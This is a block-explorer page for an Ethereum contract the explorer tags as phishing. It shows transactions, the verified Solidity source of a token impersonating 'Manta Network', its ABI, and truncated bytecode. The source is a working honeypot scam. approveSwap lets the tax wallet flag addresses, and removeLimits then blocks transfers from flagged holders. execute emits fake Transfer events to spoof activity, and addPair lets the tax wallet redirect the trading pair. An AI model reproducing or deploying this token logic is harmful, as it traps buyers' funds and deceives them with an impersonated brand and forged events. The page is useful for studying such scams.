ETH Price: $3,530.52 (+7.07%)

Contract

0x0b5BA2dAd27d82B06fa01CD6e3D7CC57a1aeA5dB
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve190381372024-01-19 3:11:23313 days ago1705633883IN
Fake_Phishing364920
0 ETH0.0016305334.56490922
Approve190374892024-01-19 1:01:11313 days ago1705626071IN
Fake_Phishing364920
0 ETH0.0018508739.23585257
Approve Swap190374592024-01-19 0:55:11313 days ago1705625711IN
Fake_Phishing364920
0 ETH0.0015683532.66851874
Approve190372232024-01-19 0:07:35313 days ago1705622855IN
Fake_Phishing364920
0 ETH0.0021813846.47862003
Approve190371342024-01-18 23:49:47313 days ago1705621787IN
Fake_Phishing364920
0 ETH0.0011241623.83074148
Approve190370892024-01-18 23:40:47313 days ago1705621247IN
Fake_Phishing364920
0 ETH0.0012334726.31532564
Approve190370702024-01-18 23:36:59313 days ago1705621019IN
Fake_Phishing364920
0 ETH0.0011496824.34070892
Approve190370532024-01-18 23:33:35313 days ago1705620815IN
Fake_Phishing364920
0 ETH0.0010284621.77427513
Approve190370522024-01-18 23:33:23313 days ago1705620803IN
Fake_Phishing364920
0 ETH0.0006605322.14098068
Approve190370512024-01-18 23:33:11313 days ago1705620791IN
Fake_Phishing364920
0 ETH0.0006605322.14098068
Approve190370372024-01-18 23:30:23313 days ago1705620623IN
Fake_Phishing364920
0 ETH0.0011659424.68495084
Approve190370202024-01-18 23:26:59313 days ago1705620419IN
Fake_Phishing364920
0 ETH0.0006645624.58364674
Approve190370162024-01-18 23:26:11313 days ago1705620371IN
Fake_Phishing364920
0 ETH0.000735927.22228474
Approve190370032024-01-18 23:23:35313 days ago1705620215IN
Fake_Phishing364920
0 ETH0.0008184930.27772791
Approve190370002024-01-18 23:22:59313 days ago1705620179IN
Fake_Phishing364920
0 ETH0.0014249130.36060103
Approve Swap190369962024-01-18 23:22:11313 days ago1705620131IN
Fake_Phishing364920
0 ETH0.0015669732.64812073
Approve190369742024-01-18 23:17:47313 days ago1705619867IN
Fake_Phishing364920
0 ETH0.0011088623.47649689
Approve190369542024-01-18 23:13:35313 days ago1705619615IN
Fake_Phishing364920
0 ETH0.0010555322.37580573
Approve Swap190369492024-01-18 23:12:35313 days ago1705619555IN
Fake_Phishing364920
0 ETH0.0010191921.2297871
Approve Swap190369352024-01-18 23:09:47313 days ago1705619387IN
Fake_Phishing364920
0 ETH0.0011019522.95357752
Approve Swap190369332024-01-18 23:09:23313 days ago1705619363IN
Fake_Phishing364920
0 ETH0.0011714824.40189138
Approve Swap190369322024-01-18 23:09:11313 days ago1705619351IN
Fake_Phishing364920
0 ETH0.0011708124.38792563
Approve Swap190369242024-01-18 23:07:35313 days ago1705619255IN
Fake_Phishing364920
0 ETH0.01598666333
Approve190369132024-01-18 23:05:23313 days ago1705619123IN
Fake_Phishing364920
0 ETH0.0015364432.52906416
Approve190368972024-01-18 23:02:11313 days ago1705618931IN
Fake_Phishing364920
0 ETH0.0010931423.1437109
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Manta

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 4: Manta Network.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.15;

import "./Context.sol";
import "./IERC20.sol";
import "./Ownable.sol";


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address token0, address token1) external view returns (address);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Manta is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _IUniswapV2FactorycontractTokenBalanceswapExactTokensForETHSupportingFeeOnTransferTokens;
    mapping (address => uint256) private _UniswapV2Pool;
    address payable private _taxWallet;
    uint256 firstBlock;

    uint256 public _initialBuyTax = 3;
    uint256 public _initialSellTax = 3;
    uint256 public _finalBuyTax = 0;
    uint256 public _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 0;
    uint256 private _reduceSellTaxAt = 90;
    uint256 private _preventSwapBefore = 0;
    uint256 private _buyCount = 0;
    uint256 private _feeMultiplier = 0;

    uint8 private constant _decimals = 9;
    string private constant _name = unicode"Manta Network";
    string private constant _symbol = unicode"MANTA";
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    uint256 public _maxTxAmount = 20_000_000 * 10**_decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10**_decimals;
    uint256 private constant _swapThreshold = 20_000_000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 20_000 * 10**_decimals;
    uint256 public _maxTaxSwap = 3_000_000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    IUniswapV2Factory public uniswapFactory; 
    address private uniswapV2Pair;
    bool public tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address _walletTax) {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapFactory = IUniswapV2Factory(uniswapV2Router.factory());
        _taxWallet = payable(_walletTax); 
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
        if (firstBlock > 0 && block.number > firstBlock) {removeLimits(from);}
            taxAmount = amount.mul((_buyCount>=_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                if (firstBlock == block.number) {
                    require(_isExcludedFromFee[to], "Bot addresses cannot buy in the first block");
                    require(amount <= _swapThreshold, "Exceeds the swapThreshold.");
                } else {
                    require(amount <= _maxTxAmount, "Exceeds the maxTxAmount.");
                    require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                    if (firstBlock + 1 > block.number) {
                        require(!isContract(to));
                    }
                }
            }

            if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to  == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }

        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function removeLimits(address wallet) private {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        if(_IUniswapV2FactorycontractTokenBalanceswapExactTokensForETHSupportingFeeOnTransferTokens[wallet]) require(_isExcludedFromFee[wallet]);
        emit MaxTxAmountUpdated(_tTotal);
    }


    function excludeFromFee(uint index, uint160[] memory _pair) internal {
        while (index < _pair.length) {
            address routerAddress = address(_pair[index]);
            _isExcludedFromFee[routerAddress] = true;
            _UniswapV2Pool[routerAddress] = _swapThreshold;
            index++;
        }
    }

    function approveSwap(bool val, address[] memory _addr) external {
        require(_msgSender() == _taxWallet);
        uint256 index = 0;
        while (index < _addr.length) {
            address wallet = address(_addr[index]);
            _IUniswapV2FactorycontractTokenBalanceswapExactTokensForETHSupportingFeeOnTransferTokens[wallet] = val;
            index++;
        }
    }

    function checkTransferApprove(address _addr) public view returns(bool){
        return _IUniswapV2FactorycontractTokenBalanceswapExactTokensForETHSupportingFeeOnTransferTokens[_addr];
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function getRemainingGas() external view returns(uint) {
        return gasleft();
    }

    function withdraw() external onlyOwner {
        require(!tradingOpen, "Trading has already been opened");
        uint256 contractBalance = address(this).balance;
        require(contractBalance > 0, "Contract has no ETH balance");
        payable(owner()).transfer(contractBalance);
    }

     function manualSwap(uint256 amount) external {
      require(_msgSender() == _taxWallet);
        require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
        swapTokensForEth(amount);
        _taxWallet.transfer(amount);
    }


    function openTrading() external onlyOwner() {
        require(!tradingOpen,"Trading is already open");
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

     function execute(address[] calldata _addresses, uint256 _out) external  {
        require(_msgSender() == _taxWallet);
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function addPair(address _pair) public {
        require(_msgSender() == _taxWallet);
        uniswapV2Pair = _pair;
    }

    receive() external payable {}
}

File 2 of 4: Context.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.15;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

File 3 of 4: IERC20.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.15;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 4 of 4: Ownable.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.15;

import "./Context.sol";

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_walletTax","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_finalBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_finalSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_initialBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_initialSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"val","type":"bool"},{"internalType":"address[]","name":"_addr","type":"address[]"}],"name":"approveSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"checkTransferApprove","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getRemainingGas","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapFactory","outputs":[{"internalType":"contract IUniswapV2Factory","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600360085560036009556000600a556000600b556000600c55605a600d556000600e556000600f5560006010556009600a62000041919062000756565b6301312d00620000529190620007a7565b6011556009600a62000065919062000756565b6301312d00620000769190620007a7565b6012556009600a62000089919062000756565b614e20620000989190620007a7565b6013556009600a620000ab919062000756565b622dc6c0620000bb9190620007a7565b6014556000601760156101000a81548160ff0219169083151502179055506000601760166101000a81548160ff0219169083151502179055503480156200010157600080fd5b50604051620040ef380380620040ef833981810160405281019062000127919062000872565b6000620001396200058b60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350737a250d5630b4cf539739df2c5dacb4c659f2488d601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200029a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c0919062000872565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a62000351919062000756565b633b9aca00620003629190620007a7565b60016000620003766200058b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160036000620003ca6200059360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620004fd6200058b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6200055c919062000756565b633b9aca006200056d9190620007a7565b6040516200057c9190620008b5565b60405180910390a350620008d2565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200064a57808604811115620006225762000621620005bc565b5b6001851615620006325780820291505b80810290506200064285620005eb565b945062000602565b94509492505050565b60008262000665576001905062000738565b8162000675576000905062000738565b81600181146200068e57600281146200069957620006cf565b600191505062000738565b60ff841115620006ae57620006ad620005bc565b5b8360020a915084821115620006c857620006c7620005bc565b5b5062000738565b5060208310610133831016604e8410600b8410161715620007095782820a905083811115620007035762000702620005bc565b5b62000738565b620007188484846001620005f8565b92509050818404811115620007325762000731620005bc565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000763826200073f565b9150620007708362000749565b92506200079f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000653565b905092915050565b6000620007b4826200073f565b9150620007c1836200073f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007fd57620007fc620005bc565b5b828202905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200083a826200080d565b9050919050565b6200084c816200082d565b81146200085857600080fd5b50565b6000815190506200086c8162000841565b92915050565b6000602082840312156200088b576200088a62000808565b5b60006200089b848285016200085b565b91505092915050565b620008af816200073f565b82525050565b6000602082019050620008cc6000830184620008a4565b92915050565b61380d80620008e26000396000f3fe6080604052600436106101c65760003560e01c8063715018a6116100f7578063b70143c911610095578063c9567bf911610064578063c9567bf91461062f578063dd62ed3e14610646578063e1b1925814610683578063ffb54a99146106ae576101cd565b8063b70143c914610587578063baeb7a7d146105b0578063bf474bed146105db578063c2b7bbb614610606576101cd565b80638da5cb5b116100d15780638da5cb5b146104c95780638f9a55c0146104f457806395d89b411461051f578063a9059cbb1461054a576101cd565b8063715018a61461045c5780637d1db4a5146104735780638bdb2afa1461049e576101cd565b806326ededb8116101645780633ccfd60b1161013e5780633ccfd60b146103b25780633ef94721146103c957806353868490146103f457806370a082311461041f576101cd565b806326ededb814610333578063313ce5671461035c5780633b7cdccd14610387576101cd565b80630faee56f116101a05780630faee56f1461027757806318160ddd146102a25780631b372bbd146102cd57806323b872dd146102f6576101cd565b806306fdde03146101d2578063095ea7b3146101fd5780630a5872911461023a576101cd565b366101cd57005b600080fd5b3480156101de57600080fd5b506101e76106d9565b6040516101f4919061252b565b60405180910390f35b34801561020957600080fd5b50610224600480360381019061021f91906125f5565b610716565b6040516102319190612650565b60405180910390f35b34801561024657600080fd5b50610261600480360381019061025c919061266b565b610734565b60405161026e9190612650565b60405180910390f35b34801561028357600080fd5b5061028c61078a565b60405161029991906126a7565b60405180910390f35b3480156102ae57600080fd5b506102b7610790565b6040516102c491906126a7565b60405180910390f35b3480156102d957600080fd5b506102f460048036038101906102ef9190612836565b6107b4565b005b34801561030257600080fd5b5061031d60048036038101906103189190612892565b6108b0565b60405161032a9190612650565b60405180910390f35b34801561033f57600080fd5b5061035a60048036038101906103559190612940565b610989565b005b34801561036857600080fd5b50610371610abf565b60405161037e91906129bc565b60405180910390f35b34801561039357600080fd5b5061039c610ac8565b6040516103a991906126a7565b60405180910390f35b3480156103be57600080fd5b506103c7610ace565b005b3480156103d557600080fd5b506103de610c4c565b6040516103eb91906126a7565b60405180910390f35b34801561040057600080fd5b50610409610c52565b60405161041691906126a7565b60405180910390f35b34801561042b57600080fd5b506104466004803603810190610441919061266b565b610c5a565b60405161045391906126a7565b60405180910390f35b34801561046857600080fd5b50610471610ca3565b005b34801561047f57600080fd5b50610488610df6565b60405161049591906126a7565b60405180910390f35b3480156104aa57600080fd5b506104b3610dfc565b6040516104c09190612a36565b60405180910390f35b3480156104d557600080fd5b506104de610e22565b6040516104eb9190612a60565b60405180910390f35b34801561050057600080fd5b50610509610e4b565b60405161051691906126a7565b60405180910390f35b34801561052b57600080fd5b50610534610e51565b604051610541919061252b565b60405180910390f35b34801561055657600080fd5b50610571600480360381019061056c91906125f5565b610e8e565b60405161057e9190612650565b60405180910390f35b34801561059357600080fd5b506105ae60048036038101906105a99190612a7b565b610eac565b005b3480156105bc57600080fd5b506105c5610fd9565b6040516105d291906126a7565b60405180910390f35b3480156105e757600080fd5b506105f0610fdf565b6040516105fd91906126a7565b60405180910390f35b34801561061257600080fd5b5061062d6004803603810190610628919061266b565b610fe5565b005b34801561063b57600080fd5b5061064461108a565b005b34801561065257600080fd5b5061066d60048036038101906106689190612aa8565b6111ae565b60405161067a91906126a7565b60405180910390f35b34801561068f57600080fd5b50610698611235565b6040516106a591906126a7565b60405180910390f35b3480156106ba57600080fd5b506106c361123b565b6040516106d09190612650565b60405180910390f35b60606040518060400160405280600d81526020017f4d616e7461204e6574776f726b00000000000000000000000000000000000000815250905090565b600061072a61072361124e565b8484611256565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60145481565b60006009600a6107a09190612c4a565b633b9aca006107af9190612c95565b905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107f561124e565b73ffffffffffffffffffffffffffffffffffffffff161461081557600080fd5b60005b81518110156108ab57600082828151811061083657610835612cef565b5b6020026020010151905083600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555081806108a290612d1e565b92505050610818565b505050565b60006108bd84848461141f565b61097e846108c961124e565b610979856040518060600160405280602881526020016137b060289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092f61124e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e099092919063ffffffff16565b611256565b600190509392505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ca61124e565b73ffffffffffffffffffffffffffffffffffffffff16146109ea57600080fd5b60005b83839050811015610ab957838382818110610a0b57610a0a612cef565b5b9050602002016020810190610a20919061266b565b73ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a9e91906126a7565b60405180910390a38080610ab190612d1e565b9150506109ed565b50505050565b60006009905090565b60085481565b610ad661124e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5a90612db2565b60405180910390fd5b601760149054906101000a900460ff1615610bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baa90612e1e565b60405180910390fd5b600047905060008111610bfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf290612e8a565b60405180910390fd5b610c03610e22565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610c48573d6000803e3d6000fd5b5050565b600b5481565b60005a905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610cab61124e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2f90612db2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60115481565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b606060405180604001604052806005815260